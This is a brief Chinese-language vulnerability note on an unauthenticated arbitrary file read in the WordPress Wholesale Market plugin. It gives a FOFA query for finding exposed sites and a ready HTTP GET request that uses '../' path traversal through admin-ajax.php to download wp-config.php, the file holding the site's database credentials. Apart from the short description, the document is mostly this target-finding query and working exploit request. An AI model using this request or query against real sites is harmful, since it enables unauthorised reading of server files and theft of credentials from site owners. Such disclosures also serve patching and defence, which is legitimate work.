0x01 产品简介
WordPress Wholesale Market是一个WordPress主题，专门设计用于创建批发市场和在线商城网站。该主题提供了许多功能和设计元素，使您能够轻松地构建一个功能强大的批发市场平台，以满足批发商和零售商的需求。
0x02 漏洞概述
WordPress Wholesale Market存在任意文件读取漏洞，未授权的攻击者可以通过该漏洞读取服务器文件，造成敏感信息泄露。
0x03 测绘语句
fofa: body="wp-content/plugins/wholesale-market"0x04 漏洞复现
GET /wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin§ion=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php HTTP/1.1